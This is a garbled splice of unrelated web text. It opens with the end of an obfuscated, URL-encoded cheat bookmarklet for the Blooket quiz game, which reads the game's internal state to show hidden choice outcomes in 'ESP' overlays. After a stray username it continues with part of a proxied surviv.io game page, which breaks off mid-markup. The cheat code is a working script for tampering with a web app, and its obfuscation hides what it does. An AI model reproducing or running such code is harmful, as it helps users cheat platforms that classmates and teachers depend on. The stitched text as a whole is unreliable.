val%27%3Aamt%7D)%2Ct%5B_0x3faf6c(-0x24c%2C-0x209%2C-0x23d%2C-0x1f7%2C-0x1e0)%2B_0x3faf6c(-0x1dd%2C-0x272%2C-0x1ef%2C-0x21d%2C-0x23a)%5D(%7B%27prize%27%3A_0x45f5b2(-0x2e3%2C-0x2e5%2C-0x2d5%2C-0x333%2C-0x2ef)%2B%27r%27%2C%27numBlooks%27%3At%5B_0x3faf6c(-0x217%2C-0x1c6%2C-0x221%2C-0x20a%2C-0x1f3)%5D%5B_0x1fc344(-0x86%2C-0xd7%2C-0x57%2C-0x50%2C-0xb1)%2B_0x174729(-0xb0%2C-0x2b%2C-0x1b%2C-0x37%2C-0x66)%5D%2C%27fadeOut%27%3A!(-0x1bd9%2B0x2e9%2B0x18f0)%7D%2Cfunction()%7Bfunction _0x531dab(_0x2313d6%2C_0x4201c5%2C_0x13ea7e%2C_0x89f954%2C_0x315599)%7Breturn _0x3faf6c(_0x2313d6-0x117%2C_0x4201c5-0x97%2C_0x13ea7e-0x1c8%2C_0x13ea7e-0x5fc%2C_0x4201c5)%3B%7Dfunction _0x54d7f0(_0xb0d2a7%2C_0x18c5c9%2C_0x2c6506%2C_0x43b8ac%2C_0x38ea12)%7Breturn _0x3cf296(_0x2c6506%2C_0x18c5c9-0x1ca%2C_0x18c5c9-0xf9%2C_0x43b8ac-0xbe%2C_0x38ea12-0x5b)%3B%7Dfunction _0x1cc482(_0x3eb1c6%2C_0x423d7a%2C_0x5278fb%2C_0x2e6ce2%2C_0x4f72ca)%7Breturn _0x3faf6c(_0x3eb1c6-0x86%2C_0x423d7a-0x3c%2C_0x5278fb-0x199%2C_0x2e6ce2-0x169%2C_0x4f72ca)%3B%7Dvar _0x364e18%3D%7B%27XwhBc%27%3Afunction(_0x3df64c%2C_0x5d6583)%7Breturn _0x3df64c%3D%3D%3D_0x5d6583%3B%7D%2C%27ODbUo%27%3A_0x54d7f0(-0x2a%2C0x3%2C-0x13%2C-0x3c%2C0x43)%2C%27Dcxau%27%3Afunction(_0x13673c%2C_0x4b63fb%2C_0x3d4916)%7Breturn _0x13673c(_0x4b63fb%2C_0x3d4916)%3B%7D%7D%3Bfunction _0xf893f0(_0x3545bf%2C_0x29c2d8%2C_0x22909d%2C_0x16349a%2C_0x2841b9)%7Breturn _0x3faf6c(_0x3545bf-0x12d%2C_0x29c2d8-0x1cc%2C_0x22909d-0xce%2C_0x3545bf-0x5f6%2C_0x16349a)%3B%7Dt%5B_0x1cc482(-0xb1%2C-0x4d%2C-0x55%2C-0x9f%2C-0x9f)%2B_0x1cc482(-0x62%2C-0xd5%2C-0x3f%2C-0x87%2C-0x5f)%2B%27t%27%5D%3D_0x364e18%5B_0x531dab(0x3a6%2C0x3a9%2C0x3ce%2C0x3bb%2C0x3d0)%5D(setTimeout%2Cfunction()%7Bfunction _0x9d78(_0x129567%2C_0x1e9516%2C_0x4b747b%2C_0x3f9c18%2C_0x5d7762)%7Breturn _0x1cc482(_0x129567-0xdf%2C_0x1e9516-0xfd%2C_0x4b747b-0x12%2C_0x1e9516-0x410%2C_0x129567)%3B%7Dfunction _0x4a6b6c(_0x5c1d84%2C_0x4b56f9%2C_0x5c4298%2C_0x409d96%2C_0x2eb082)%7Breturn _0x531dab(_0x5c1d84-0x8b%2C_0x2eb082%2C_0x5c4298- -0xbd%2C_0x409d96-0xd8%2C_0x2eb082-0xcc)%3B%7Dfunction _0x4a4b0d(_0x5c5cf4%2C_0x2b0ab2%2C_0x318e48%2C_0x424d63%2C_0x342b86)%7Breturn _0x54d7f0(_0x5c5cf4-0x161%2C_0x318e48- -0x310%2C_0x5c5cf4%2C_0x424d63-0x1e9%2C_0x342b86-0x1e2)%3B%7Dfunction _0x44093b(_0x21199a%2C_0x440f5d%2C_0x5263b3%2C_0x4a5411%2C_0x4db65c)%7Breturn _0x531dab(_0x21199a-0x1b1%2C_0x440f5d%2C_0x4a5411- -0x1a0%2C_0x4a5411-0xb%2C_0x4db65c-0x19d)%3B%7Dfunction _0x335831(_0xc62ab8%2C_0x304cc4%2C_0x3faa79%2C_0x5f49de%2C_0xf84659)%7Breturn _0x531dab(_0xc62ab8-0x73%2C_0x5f49de%2C_0xf84659-0xa5%2C_0x5f49de-0x12d%2C_0xf84659-0x1a0)%3B%7Dif(_0x364e18%5B_0x4a4b0d(-0x335%2C-0x330%2C-0x31d%2C-0x340%2C-0x319)%5D(_0x364e18%5B_0x4a4b0d(-0x2f1%2C-0x30f%2C-0x2e5%2C-0x301%2C-0x2a7)%5D%2C_0x364e18%5B_0x4a6b6c(0x31c%2C0x34c%2C0x328%2C0x37e%2C0x33d)%5D))t%5B_0x4a6b6c(0x344%2C0x350%2C0x31d%2C0x2c5%2C0x333)%2B%27mQ%27%5D()%3Belse%7Bif(_0x28d099)%7Bvar _0x2d85a2%3D_0x3c92e5%5B_0x335831(0x4f6%2C0x51a%2C0x4c2%2C0x470%2C0x4c6)%5D(_0x2bfe14%2Carguments)%3Breturn _0x320ad3%3Dnull%2C_0x2d85a2%3B%7D%7D%7D%2C0x1ab6%2B0x2425%2B-0x3d19*0x1)%3B%7D))%3B%0A %7D)%0A getdefense.addEventListener(%27click%27%2C () %3D> %7B %0A%0A %7D) %0A break%3B%0A%0A %7D%0A %7D%0A%7D%0A%0Afunction kingesp() %7B%0A function ChoiceUII() %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"espp"><style>details>summary%7Bcursor%3Apointer%3Btransition%3A1s%3Blist-style%3Acircle%7D.button%7Bfont-size%3A1rem%7D<%2Fstyle><div style%3D"padding-top%3A2px%3Bfont-size%3A1.5rem%3Btext-align%3Acenter">Choice ESP<%2Fdiv><br><details open><summary style%3D"padding%3A10px%3Bfont-size%3A1.5em%3Bfont-weight%3Abolder">Yes%3A<%2Fsummary><div id%3D"c1h" class%3D"button"><%2Fdiv><div id%3D"c1p" class%3D"button"><%2Fdiv><div id%3D"c1g" class%3D"button"><%2Fdiv><div id%3D"c1m" class%3D"button"><%2Fdiv><%2Fdetails><details open><summary style%3D"padding%3A10px%3Bfont-size%3A1.5em%3Bfont-weight%3Abolder">No%3A<%2Fsummary><div id%3D"c2h" class%3D"button"><%2Fdiv><div id%3D"c2p" class%3D"button"><%2Fdiv><div id%3D"c2g" class%3D"button"><%2Fdiv><div id%3D"c2m" class%3D"button"><%2Fdiv><%2Fdetails><br><button id%3D"close" style%3D"width%3A130px%3Bheight%3A30px%3Bcursor%3Apointer%3Bbackground%3A%23333%3Bborder-radius%3A22px%3Bborder%3Anone%3Bfont-size%3A1rem"><b>Close ESP<%2Fb><%2Fbutton><br><div style%3D"font-size%3A.8rem">ui by <a href%3D"https%3A%2F%2F">Sharp (Toad_UI)<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 200px%3B background%3A rgb(31%2C 25%2C 30)%3B border-radius%3A 13px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A%0A function closeui() %7B%0A const esp %3D document.getElementById("espp")%0A esp.remove()%3B%0A %7D%0A%0A function addUtils() %7B%0A const exit %3D document.getElementById("close")%0A exit.addEventListener(%27click%27%2C closeui)%3B%0A %7D%0A ChoiceUII()%0A addUtils()%0A%0A function updateChoices() %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A const no %3D hack.stateNode.state.guest.no%0A const yes %3D hack.stateNode.state.guest.yes%0A const c2gold %3D document.getElementById("c2g")%0A const c2happy %3D document.getElementById("c2h")%0A const c2people %3D document.getElementById("c2p")%0A const c2mats %3D document.getElementById("c2m")%0A const c1gold %3D document.getElementById("c1g")%0A const c1happy %3D document.getElementById("c1h")%0A const c1people %3D document.getElementById("c1p")%0A const c1mats %3D document.getElementById("c1m")%0A updateNo()%3B%0A updateYes()%3B%0A%0A function updateNo() %7B%0A if (no.happiness !%3D null) %7B%0A c2happy.innerHTML %3D %60Happiness%3A %24%7Bno.happiness%7D%60%0A %7D else %7B%0A c2happy.innerHTML %3D null%3B%0A %7D%0A if (no.people !%3D null) %7B%0A c2people.innerHTML %3D %60People%3A %24%7Byes.people%7D%60%0A %7D else %7B%0A c2people.innerHTML %3D null%3B%0A %7D%0A if (no.gold !%3D null) %7B%0A c2gold.innerHTML %3D %60Gold%3A %24%7Bno.gold%7D%60%0A %7D else %7B%0A c2gold.innerHTML %3D null%3B%0A %7D%0A if (no.materials !%3D null) %7B%0A c2mats.innerHTML %3D %60Materials%3A %24%7Bno.materials%7D%60%0A %7D else %7B%0A c2mats.innerHTML %3D null%3B%0A %7D%0A %7D%0A%0A function updateYes() %7B%0A if (yes.happiness !%3D null) %7B%0A c1happy.innerHTML %3D %60Happiness%3A %24%7Byes.happiness%7D%60%0A %7D else %7B%0A c1happy.innerHTML %3D null%3B%0A %7D%0A if (yes.people !%3D null) %7B%0A c1people.innerHTML %3D %60People%3A %24%7Byes.people%7D%60%0A %7D else %7B%0A c1people.innerHTML %3D null%3B%0A %7D%0A if (yes.gold !%3D null) %7B%0A c1gold.innerHTML %3D %60Gold%3A %24%7Byes.gold%7D%60%0A %7D else %7B%0A c1gold.innerHTML %3D null%3B%0A %7D%0A if (yes.materials !%3D null) %7B%0A c1mats.innerHTML %3D %60Materials%3A %24%7Byes.materials%7D%60%0A %7D else %7B%0A c1mats.innerHTML %3D null%3B%0A %7D%0A %7D%0A %7D%0A setInterval(() %3D> %7B%0A const esp %3D document.getElementById("espp")%0A if (esp !%3D null) %7B%0A updateChoices()%3B%0A %7D%0A %7D%2C 500)%3B%0A%7D%0A%0Afunction goldesp() %7B%0A function ChoiceUI() %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"esp"> <div style%3D" padding-top%3A 2px%3B font-size%3A 1.5rem%3B text-align%3A center%3B">Choice ESP<%2Fdiv><div id%3D"c1" style%3D"font-size%3A 1rem%3B">Choice 1%3A<%2Fdiv><div id%3D"c2">Choice 2%3A<%2Fdiv><div id%3D"c3">Choice 3%3A<%2Fdiv><br><button id%3D"close" style%3D"width%3A 130px%3B height%3A 30px%3B cursor%3A pointer%3B background%3A hsl(0%2C 0%25%2C 20%25)%3B border-radius%3A 22px%3B border%3A none%3B font-size%3A 1rem%3B"><b>Close ESP<%2Fb><%2Fbutton><br><br><div style%3D"font-size%3A 0.8rem%3B">ui by <a href%3D"https%3A%2F%2Fgithub.com%2FBlooketware">Blooketware<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 200px%3B background%3A rgb(31%2C 25%2C 30)%3B border-radius%3A 13px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A%0A function closeui() %7B%0A const esp %3D document.getElementById("esp")%0A esp.remove()%3B%0A %7D%0A%0A function addUtilss() %7B%0A const exit %3D document.getElementById("close")%0A exit.addEventListener(%27click%27%2C closeui)%3B%0A %7D%0A ChoiceUI()%0A addUtilss()%0A%0A function updateChoicess() %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A const choice %3D hack.stateNode.state.choices%0A const c1 %3D document.getElementById("c1")%0A const c2 %3D document.getElementById("c2")%0A const c3 %3D document.getElementById("c3")%0A c1.innerHTML %3D "Choice 1%3A " %2B choice%5B0%5D.text%0A c2.innerHTML %3D "Choice 2%3A " %2B choice%5B1%5D.text%0A c3.innerHTML %3D "Choice 3%3A " %2B choice%5B2%5D.text%0A %7D%0A setInterval(() %3D> %7B%0A updateChoicess()%3B%0A %7D%2C 500)%3B%0A%7D%0A%0Afunction addUtils() %7B%0A handleData("elements")%3B%0A addListeners()%0A CheckGame()%3B%0A%7D%0AaddUtils()%3B%0AsetInterval(() %3D> %7B%0A CheckGame()%3B%0A%7D%2C 10000)%3B%0Awindow.alert("made by Jacob huggins.")%3B%7D)()%3B
Ronald106
<!doctype html> <html lang='en'> <head> <!-- Meta Properties --> <meta charset='UTF-8'> <title>surviv.io - 2d battle royale game</title> <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover, user-scalable=no"> <link rel="manifest" href="manifest.json"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-title" content="surviv.io"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <meta name="application-name" content="surviv.io"> <meta name="description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta property="og:description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta name="keywords" content="survivio, surviv, 2d battle royale, io, battle royale browser game, 2d battlegrounds, battlegrounds, battleroyale, battle, royale, browser game, br, survival, game, web game, multiplayer"> <meta property="og:type" content="website"> <meta property="og:title" content="surviv.io"> <meta property="og:url" content="/~/https://surviv.io/"> <meta property="og:site_name" content="surviv.io"> <meta content="/~/https://surviv.io/img/title.png" property="og:image"> <link rel="canonical" href="/~/https://surviv.io" /> <link rel="apple-touch-icon-precomposed" href="img/icon_app.png"> <link rel="icon" href="favicon.ico" type="image/x-icon"> <!-- Global site tag (gtag.js) - Google Analytics --> <script> window.adsBlocked = false; window.adBlockDetected = function() { window.adsBlocked = true; } window.alert = function() { } /* Cookie consent */ var cfg = {}; var consented = true; var webview = false; try { cfg = JSON.parse(localStorage.getItem('surviv_config')) || {}; if (cfg.cookiesConsented != undefined) { consented = cfg.cookiesConsented; } webview = localStorage.getItem('surviv_webview'); } catch (e) { } window.cookiesConsented = consented; if (window.cookiesConsented) { document.write("<script async src='/~/https://www.googletagmanager.com/gtag/js?id=UA-108811301-1' onerror='adBlockDetected();'>\x3C/script>"); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-108811301-1', { 'anonymize_ip': true }); } window.webviewDetected = new RegExp("[?&]webview=true","gi").test(window.location.href) || webview; </script> <!-- AIP --> <script> document.write("<script async src='/~/https://api.adinplay.com/libs/aiptag/pub/SRV/surviv.io/tag.min.js'>\x3C/script>"); var aiptag = aiptag || {}; aiptag.gdprConsent = window.cookiesConsented; aiptag.consented = window.cookiesConsented; aiptag.cmd = aiptag.cmd || []; aiptag.cmd.display = aiptag.cmd.display || []; </script> <!-- Fonts --> <link href="/~/https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700" rel="stylesheet"> <link href="css/app.dacc77a5.css" rel="stylesheet"><meta name="ROBOTS" content="NOINDEX, NOFOLLOW"/> </head> <body> <div id='preroll-wrapper'> <div id="preroll"></div> </div> <div id="fb-root"></div> <canvas tabindex='1' id='cvs'></canvas> <div id='game-area-wrapper' style='display: none' oncontextmenu='return false;'> <div id='game-touch-area'></div> <!-- Class Select --> <div id='ui-role-menu-wrapper'> <div id='ui-role-menu'> <div id='ui-role-header'></div> <div id='ui-role-body'></div> <div id='ui-role-footer'> <div id='ui-role-footer-desc' data-l10n='game-select-class'>SELECT A CLASS</div> <div id='ui-role-footer-enter'>ENTER GAME (20)</div> </div> </div> </div> <div id='ui-game' class='click-through'> <div id='tablet-console'></div> <div id='ui-center'> <div id='ui-game-menu'> <div id='btn-game-tabs' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-settings' class='btn-game-tab-select btn-game-menu btn-game-menu-selected btn-darken' data-tab='settings'></a> <div class='btn-double-row game-menu-icon-static settings-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-keybinds' class='btn-game-tab-select btn-game-menu btn-darken' data-tab='keybinds'></a> <div class='btn-double-row game-menu-icon-static keybind-icon'></div> </div> </div> <div id='ui-game-tab-settings' class='ui-game-tab'> <a id='btn-game-fullscreen' class='btn-fullscreen-toggle btn-game-menu btn-darken' data-l10n='game-full-screen'>Full Screen</a> <div id='btn-touch-styles' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-move-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle movement-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-aim-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle target-icon'></div> </div> </div> <a id='btn-game-aim-line' class='btn-game-menu btn-darken locked-on-icon' data-l10n='game-aim-line'>Aim Line</a> <a id='btn-game-sound' class='btn-sound-toggle btn-game-menu btn-darken audio-on-icon' data-l10n='game-sound'>Sound</a> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-master-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-sound-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-music-volume"> </div> <a id='btn-game-quit' class='btn-quit btn-game-menu btn-darken' data-l10n='game-quit-game'>Quit Game</a> </div> <div id='ui-game-tab-keybinds' class='ui-game-tab'> <div id='ui-keybind-list' class='js-keybind-list'></div> <a class='js-btn-keybind-restore btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> <a id='btn-game-resume' class='btn-game-menu btn-darken' data-l10n='game-return-to-game'>Return to Game</a> </div> </div> <div id='big-map' class='js-ui-map-show'> <div id='big-map-collision'></div> <div id='big-map-close'></div> </div> <div id='ui-emotes' class='ui-emote-wheel'> <div id='ui-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-key='middle' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-key='top' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-key='right' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-key='bottom' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-key='left' data-id='4'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> </div> <div id='ui-team-pings' class='ui-emote-wheel'> <div id='ui-team-ping-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom-left' class='ui-emote-bottom-left ui-emote-eighth ui-emote-parent' data-id='4'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> <div id='ui-team-ping-top-left' class='ui-emote-top-left ui-emote-eighth ui-emote-parent' data-id='5'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> </div> <div id='ui-team-indicators' class='js-ui-map-hidden js-desktop-ui-hud-show'> <div class='ui-team-indicator ui-indicator-main' data-id='0'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='1'> <div class='ui-team-indicator-pos ui-background-purple'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='2'> <div class='ui-team-indicator-pos ui-background-cyan'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='3'> <div class='ui-team-indicator-pos ui-background-orange'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='4'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-ping' data-id='0'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='0'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='1'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='1'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='2'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='2'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='3'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='3'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='4'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='4'></div> </div> <div id='ui-right-center' class='ui-right-center-desktop js-ui-map-hidden'> <div id='ui-medical-interactive'> <div id='ui-loot-bandage' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-bandage'>Bandage</div> <div class='tooltip-description'><span data-l10n='game-bandage-tooltip'>Left-click to restore 15 health.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-healthkit' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-healthkit'>Med Kit</div> <div class='tooltip-description'><span data-l10n='game-healthkit-tooltip'>Left-click to restore 100 health.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-soda' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-soda'>Soda</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-chocolateBox' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-chocolateBox'>ChocolateBox</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span><br><span data-l10n='game-chocolateBox-tooltip'>Inmune to frenemy effect for 20s.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-painkiller' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-painkiller'>Pills</div> <div class='tooltip-description'><span data-l10n='game-painkiller-tooltip'>Left-click to boost adrenaline by 50.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-flask' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-flask'>Flask</div> <div class='tooltip-description'><span data-l10n='game-flask-tooltip'>Left-click for freeze damage immunity for 20 seconds.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> </div> <div id='ui-ammo-interactive'> <div id='ui-loot-50AE' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-50AE'></div> <div class='tooltip-description'><span data-l10n='game-50AE-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(30,30,30,0.75)'></div> </div> <div id='ui-loot-9mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-9mm'></div> <div class='tooltip-description'><span data-l10n='game-9mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,153,0,0.75)'></div> </div> <div id='ui-loot-308sub' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-308sub'></div> <div class='tooltip-description'><span data-l10n='game-308sub-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(49,56,0,0.75)'></div> </div> <div id='ui-loot-12gauge' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-12gauge'></div> <div class='tooltip-description'><span data-l10n='game-12gauge-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,0,0,0.75)'></div> </div> <div id='ui-loot-flare' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-flare'></div> <div class='tooltip-description'><span data-l10n='game-flare-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,85,0,0.75)'></div> </div> <div id='ui-loot-762mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-762mm'></div> <div class='tooltip-description'><span data-l10n='game-762mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(0,102,255,0.75)'></div> </div> <div id='ui-loot-45acp' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-45acp'></div> <div class='tooltip-description'><span data-l10n='game-45acp-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(121,0,255,0.75)'></div> </div> <div id='ui-loot-556mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-556mm'></div> <div class='tooltip-description'><span data-l10n='game-556mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img 